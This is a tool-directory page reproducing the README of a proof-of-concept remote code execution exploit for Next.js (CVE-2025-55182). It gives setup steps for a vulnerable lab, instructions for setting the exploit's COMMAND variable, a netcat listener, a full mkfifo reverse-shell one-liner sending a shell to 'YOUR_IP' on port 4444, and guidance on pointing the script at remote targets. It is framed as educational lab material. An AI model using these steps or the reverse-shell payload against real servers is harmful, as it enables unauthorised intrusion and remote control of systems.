Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
React2Shell-CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/rahul-securify/react2shell-cve-2025-55182
Payload GenerationExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrahul-securify/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
8 months agoNot yet reviewed

React2Shell CVE-2025-55182

A proof-of-concept exploit demonstrating a remote code execution vulnerability in Next.js applications through prototype pollution in the React server components rendering pipeline.

⚠️ Disclaimer

This tool is for educational and authorized testing purposes only. Unauthorized use against systems you don't own or have permission to test is illegal.

📋 Prerequisites

  • Node.js (v16 or later)
  • Python 3.6+
  • netcat (for reverse shells)
  • A vulnerable Next.js application (included in this repo)

🚀 Quick Start

Option 1: Use Pre-configured Lab

1. Clone the Repository

root@kitploit:~
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182

Option 2: Create Server from Scratch

root@kitploit:~
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab

Note: The pre-configured lab already includes the necessary vulnerable code. If creating from scratch, you'll need to manually add the vulnerable components.

2. Install Dependencies

root@kitploit:~
cd react2shell-lab
npm install

3. Start the Vulnerable Server

In terminal 1:

root@kitploit:~
npm run dev

The server should start on http://localhost:3000

🔧 Exploitation

Basic Command Execution

  1. The repository includes an exploit.py file that demonstrates the vulnerability. Edit the COMMAND variable in the file to your desired command:

    root@kitploit:~
    COMMAND = 'whoami'  # Change this to any command you want to execute
    
  2. Run the exploit:

    root@kitploit:~
    python3 exploit.py
    

Reverse Shell

  1. Set up a netcat listener in a new terminal:

    root@kitploit:~
    nc -nvlp 4444
    
  2. Edit exploit.py and update the command to your reverse shell payload:

    root@kitploit:~
    COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
    

    Replace YOUR_IP with your local machine's IP address.

  3. Run the exploit:

    root@kitploit:~
    python3 exploit.py
    

🛠️ Advanced Usage

Testing Remote Targets

Edit the HOST variable in the exploit script to target remote servers:

root@kitploit:~
HOST = 'target-ip-address'  # Replace with target IP
PORT = 3000  # Default Next.js port

Common Commands

  • List directory contents: ls -la
  • Get system information: uname -a
  • Get current user: whoami
  • Get network information: ifconfig or ip a

🔍 Troubleshooting

  • Connection refused: Ensure the target server is running and accessible
  • Command not found: The target system might not have certain binaries installed
  • No output: The command might have executed but not produced any output

📚 References

  • CVE-2025-55182
  • Next.js Security Advisories
  • Prototype Pollution in JavaScript

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

This version asks for user input for remote target and attacker IPs and ports. The post body (body_parts) is also trimmed down slightly in this version.

Sources:

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182

Download Tool